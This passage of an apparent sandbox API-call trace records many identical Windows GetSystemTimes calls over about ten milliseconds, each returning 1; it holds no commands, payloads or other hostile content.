lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.660] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.661] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.662] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.663] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.664] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.665] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.666] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.667] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 